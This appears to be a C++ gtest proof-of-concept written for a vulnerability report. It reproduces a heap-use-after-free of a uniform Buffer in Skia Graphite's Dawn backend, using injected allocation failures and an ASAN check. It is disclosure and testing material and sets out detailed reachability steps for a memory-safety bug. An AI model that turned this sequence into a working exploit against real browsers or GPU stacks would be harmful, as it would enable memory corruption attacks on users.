// POC: heap-use-after-free of skgpu::graphite::Buffer in DawnCommandBuffer.
//
// Root cause: DrawList::snapDrawPass early-returns on
// bufferMgr->hasMappingFailed() WITHOUT calling this->reset(). The persistent
// DrawListBase::fUniformDataCache retains entries whose
// BindBufferInfo::fBuffer is a *raw* `const Buffer*` pointing at a uniform
// Buffer whose owning sk_sp was already dropped by
// DrawBufferManager::onFailedBuffer() (fUsedBuffers.clear()).
//
// On the next snap, the UBO-path predicate
//   if (!fBufferBinding.fBuffer || (fUseStorageBuffers && ...))
// is false for the stale non-null pointer (Dawn-on-Vulkan has
// storageBufferSupport()==false), so the stale Buffer* is recorded into the
// DrawPass command list and later dereferenced by
// DawnResourceProvider::findOrCreateUniformBuffersBindGroup ->
// boundBuffer->uniqueID() / boundBuffer->dawnBuffer().
//
// This test simulates the GPU-OOM that triggers onFailedBuffer() in
// production by injecting a single findOrCreateBuffer() failure mid-snap. The
// vulnerable code (early-return-without-reset, stale-pointer reuse) is
// completely unmodified.

#include "build/build_config.h"
#include "skia/buildflags.h"
#include "testing/gtest/include/gtest/gtest.h"
#include "third_party/dawn/include/dawn/dawn_proc.h"
#include "third_party/dawn/include/dawn/native/DawnNative.h"  // nogncheck
#include "third_party/skia/include/core/SkCanvas.h"
#include "third_party/skia/include/core/SkColor.h"
#include "third_party/skia/include/core/SkPaint.h"
#include "third_party/skia/include/core/SkSurface.h"
#include "third_party/skia/include/gpu/graphite/Context.h"
#include "third_party/skia/include/gpu/graphite/ContextOptions.h"
#include "third_party/skia/include/gpu/graphite/Recorder.h"
#include "third_party/skia/include/gpu/graphite/Recording.h"
#include "third_party/skia/include/gpu/graphite/Surface.h"
#include "third_party/skia/include/gpu/graphite/dawn/DawnBackendContext.h"

// Fault-injection globals defined in
// third_party/skia/src/gpu/graphite/BufferManager.cpp. These simulate the
// production GPU-OOM that makes findOrCreateBuffer() return null.
namespace skgpu::graphite {
extern int gPocFailBufferAllocAfterN;
extern int gPocBufferAllocCount;
extern bool gPocLogAllocs;
extern bool gPocIsolateUniformCachePath;
}  // namespace skgpu::graphite

namespace gpu {
namespace {

// Draw |count| solid-colour rects, each with a *distinct* paint colour so
// every draw produces a distinct UniformDataCache entry (and thus a distinct
// uniform-buffer binding on the UBO path).
static void DrawDistinctRects(SkCanvas* canvas, int count, int seed = 0) {
  for (int i = 0; i < count; i++) {
    SkPaint p;
    // distinct RGBA per draw -> distinct UniformDataBlock -> new entry
    p.setColor4f({(i + seed + 1) * 0.001f, (i + seed + 2) * 0.002f,
                  (i + seed + 3) * 0.003f, 1.0f},
                 nullptr);
    p.setBlendMode(SkBlendMode::kSrc);
    canvas->drawRect(
        SkRect::MakeXYWH((i % 16) * 4.f, (i / 16) * 4.f, 4.f, 4.f), p);
  }
}

TEST(GraphiteStaleUniformBufferUAF, PoC) {
  // ---- Dawn-SwiftShader-Vulkan setup (UBO path: storageBufferSupport()==false
  //      on Dawn-Vulkan, see DawnCaps.cpp) ----
  dawnProcSetProcs(&dawn::native::GetProcs());
  wgpu::InstanceDescriptor instance_desc = {};
  static constexpr auto kTimedWaitAny = wgpu::InstanceFeatureName::TimedWaitAny;
  instance_desc.requiredFeatureCount = 1;
  instance_desc.requiredFeatures = &kTimedWaitAny;
  dawn::native::Instance dawn_instance(&instance_desc);

  wgpu::RequestAdapterOptions ropts = {};
  ropts.backendType = wgpu::BackendType::Vulkan;
#if BUILDFLAG(IS_LINUX)
  ropts.forceFallbackAdapter = true;  // SwiftShader
#endif
  ropts.featureLevel = wgpu::FeatureLevel::Core;
  auto adapters = dawn_instance.EnumerateAdapters(&ropts);
  ASSERT_FALSE(adapters.empty());
  wgpu::DeviceDescriptor ddesc = {};
  auto device = wgpu::Adapter(adapters[0].Get()).CreateDevice(&ddesc);
  ASSERT_TRUE(device);

  skgpu::graphite::DawnBackendContext bc = {};
  bc.fInstance = wgpu::Instance(dawn_instance.Get());
  bc.fDevice = device;
  bc.fQueue = device.GetQueue();

  skgpu::graphite::ContextOptions copts;
  std::unique_ptr<skgpu::graphite::Context> ctx =
      skgpu::graphite::ContextFactory::MakeDawn(bc, copts);
  ASSERT_TRUE(ctx);

  std::unique_ptr<skgpu::graphite::Recorder> recorder = ctx->makeRecorder();
  ASSERT_TRUE(recorder);

  auto ii =
      SkImageInfo::Make(128, 128, kRGBA_8888_SkColorType, kPremul_SkAlphaType);
  sk_sp<SkSurface> surface = SkSurfaces::RenderTarget(recorder.get(), ii);
  ASSERT_TRUE(surface);
  SkCanvas* canvas = surface->getCanvas();

  // Warm-up snap so that the first uniform Buffer allocated for the *real*
  // workload below is not entangled with surface-init resources.
  canvas->clear(SK_ColorBLACK);
  {
    auto rec = recorder->snap();
    ASSERT_TRUE(rec);
    skgpu::graphite::InsertRecordingInfo info = {};
    info.fRecording = rec.get();
    ctx->insertRecording(info);
    ctx->submit(skgpu::graphite::SyncToCpu::kYes);
  }

  // ---- Phase 1: probe allocation pattern ----
  // Draw enough distinct-uniform rects to fill at least the first uniform
  // buffer (default min block size 2KB; Dawn min UBO offset alignment 256B
  // -> ~8 entries per first buffer, doubling thereafter). 200 draws guarantees
  // multiple uniform-buffer retirements and multiple vertex-buffer allocations.
  constexpr int kNumDraws = 200;
  fprintf(stderr, "[POC] ---- probe snap ----\n");
  skgpu::graphite::gPocBufferAllocCount = 0;
  skgpu::graphite::gPocLogAllocs = true;
  DrawDistinctRects(canvas, kNumDraws);
  int allocs_before_snap = skgpu::graphite::gPocBufferAllocCount;
  {
    auto rec = recorder->snap();
    ASSERT_TRUE(rec);
    skgpu::graphite::InsertRecordingInfo info = {};
    info.fRecording = rec.get();
    ctx->insertRecording(info);
    ctx->submit(skgpu::graphite::SyncToCpu::kYes);
  }
  skgpu::graphite::gPocLogAllocs = false;
  int allocs_in_snap =
      skgpu::graphite::gPocBufferAllocCount - allocs_before_snap;
  fprintf(stderr, "[POC] allocs before snap: %d, during snap: %d\n",
          allocs_before_snap, allocs_in_snap);
  ASSERT_GE(allocs_in_snap, 4)
      << "Need >=4 buffer allocations during snapDrawPass (uniform A, vertex "
         "V1, uniform B, ...) for the bug to be reachable";

  // ---- Phase 2: trigger the failed snap ----
  // Re-record the *same* draw workload. snapDrawPass will allocate uniform
  // buffer A first, then vertex V1, then uniform B (retiring A's sk_sp to
  // fUsedBuffers), then more. We inject the failure on the LAST allocation
  // observed in the probe -> guaranteed to be after A was retired.
  fprintf(stderr, "[POC] ---- failed snap ----\n");
  // Neutralise the *sibling* leftover-fUsedBuffers/transfer-buffer UAF (which
  // would otherwise fire first in CopyBufferToBufferTask::addCommands) so the
  // fUniformDataCache -> BindUniformBuffer -> DawnCommandBuffer path can be
  // observed in isolation. With this flag *off*, the sibling UAF fires
  // instead (also a real bug, same trigger).
  skgpu::graphite::gPocIsolateUniformCachePath = true;
  DrawDistinctRects(canvas, kNumDraws);
  skgpu::graphite::gPocBufferAllocCount = 0;
  skgpu::graphite::gPocLogAllocs = true;
  // Fail the LAST allocation that snapDrawPass would have made: by then the
  // first uniform buffer has long since been retired to fUsedBuffers and its
  // sk_sp will be dropped by onFailedBuffer().
  skgpu::graphite::gPocFailBufferAllocAfterN = allocs_in_snap;
  std::unique_ptr<skgpu::graphite::Recording> failed = recorder->snap();
  skgpu::graphite::gPocFailBufferAllocAfterN = 0;
  skgpu::graphite::gPocLogAllocs = false;
  ASSERT_FALSE(failed)
      << "snap() should have failed (simulated GPU OOM mid-snapDrawPass)";
  fprintf(stderr,
          "[POC] snap() returned nullptr; DrawList::reset() was SKIPPED. "
          "fUniformDataCache now holds stale raw Buffer* entries.\n");
  skgpu::graphite::gPocIsolateUniformCachePath = false;

  // ---- Phase 3: free the dangling uniform Buffer ----
  // After onFailedBuffer() the first uniform Buffer's last sk_sp was dropped.
  // Recorder::snap() already called forceProcessReturnedResources() so it is
  // in the purgeable queue. Purge it now.
  recorder->freeGpuResources();
  fprintf(stderr,
          "[POC] freeGpuResources() purged the returned uniform Buffer.\n");

  // ---- Phase 4: second snap reuses the surviving DrawList ----
  // fRenderStepCount > 0 (never reset) so modifiesTarget()==true and
  // flushTrackedDevices() -> snapDrawPass re-iterates the surviving fSortKeys.
  // On the UBO path, writeUniforms() sees stale non-null fBufferBinding.fBuffer
  // and SKIPS re-upload, recording BindUniformBuffer{freed Buffer*} into the
  // new DrawPass command list.
  fprintf(stderr, "[POC] ---- second snap (re-iterates stale SortKeys) ----\n");
  std::unique_ptr<skgpu::graphite::Recording> rec2 = recorder->snap();
  ASSERT_TRUE(rec2) << "second snap should succeed";

  // ---- Phase 5: insertRecording dereferences the freed Buffer* ----
  // RenderPassTask::addCommands -> DawnCommandBuffer::syncUniformBuffers ->
  // DawnResourceProvider::findOrCreateUniformBuffersBindGroup ->
  //   make_ubo_bind_group_key:  boundBuffer->uniqueID()    <-- UAF READ
  //   entries[i].buffer       = boundBuffer->dawnBuffer()  <-- UAF READ
  fprintf(stderr,
          "[POC] insertRecording: DawnCommandBuffer will now dereference the "
          "freed Buffer* (expect ASAN heap-use-after-free)\n");
  skgpu::graphite::InsertRecordingInfo info = {};
  info.fRecording = rec2.get();
  ctx->insertRecording(info);
  ctx->submit(skgpu::graphite::SyncToCpu::kYes);

  fprintf(stderr,
          "[POC] *** No ASAN report — bug did not reproduce on this run ***\n");
}

}  // namespace
}  // namespace gpu